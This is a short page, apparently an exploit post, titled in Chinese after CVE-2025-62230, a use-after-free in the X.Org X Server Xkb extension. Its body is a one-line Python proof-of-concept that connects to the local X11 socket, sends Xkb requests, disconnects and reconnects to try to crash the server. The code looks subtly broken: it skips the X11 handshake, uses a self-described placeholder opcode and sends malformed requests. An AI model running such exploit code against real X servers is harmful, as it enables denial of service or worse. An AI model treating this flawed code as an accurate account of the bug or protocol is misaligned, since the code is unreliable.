CVE-2025-62230 X.Org X Server Xkb扩展use-after-free高危漏洞

#!/usr/bin/env python3 # CVE-2025-62230 PoC - X.Org X Server Xkb Extension Use-After-Free # This PoC demonstrates triggering the UAF condition in Xkb resource cleanup import socket import time import os def create_x11_connection(): """Establish connection to X server""" display = os.environ.get('DISPLAY', ':0') sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(f'/tmp/.X11-unix/X{display.split(':')[1].split('.')[0]}') return sock def send_request(sock, data): """Send X11 protocol request""" sock.send(data) def trigger_xkb_uaf(): """ Trigger the use-after-free in Xkb extension cleanup. The vulnerability occurs when client disconnects without proper Xkb resource detachment. """ try: print("[*] Connecting to X server...") sock = create_x11_connection() # Step 1: Open XKB extension print("[*] Opening XKB extension...") # X QueryExtension for XKB (opcode typically 35+) query_ext = bytes([ 0x78, 0x00, # Major opcode placeholder 0x01, 0x00 # QueryExtension request ]) send_request(sock, query_ext) # Step 2: Create multiple XKB contexts to increase UAF probability for i in range(5): print(f"[*] Creating XKB context {i+1}...") # XkbGetMap, XkbGetState requests to allocate Xkb resources xkb_request = bytes([ 0x78, 0x00, # XKB opcode 0x03, 0x00, # XkbGetMap request 0x00, 0x00, 0x00, 0x00 ]) send_request(sock, xkb_request) time.sleep(0.1) # Step 3: Trigger rapid disconnect to cause incomplete cleanup print("[*] Triggering rapid disconnect...") sock.close() # Step 4: Immediately reconnect to trigger UAF access time.sleep(0.05) sock2 = create_x11_connection() # Step 5: Send requests that may access freed Xkb resources print("[*] Sending requests to trigger UAF condition...") for i in range(10): xkb_request = bytes([ 0x78, 0x00, 0x04, 0x00, # XkbGetState 0x00, 0x00, 0x00, 0x00 ]) send_request(sock2, xkb_request) time.sleep(0.01) sock2.close() print("[+] PoC executed - check X server logs for crash or errors") except Exception as e: print(f"[-] Error: {e}") print("[*] Note: This PoC may require specific X server configuration") if __name__ == "__main__": print("CVE-2025-62230 XKB Use-After-Free PoC") print("=" * 50) trigger_xkb_uaf()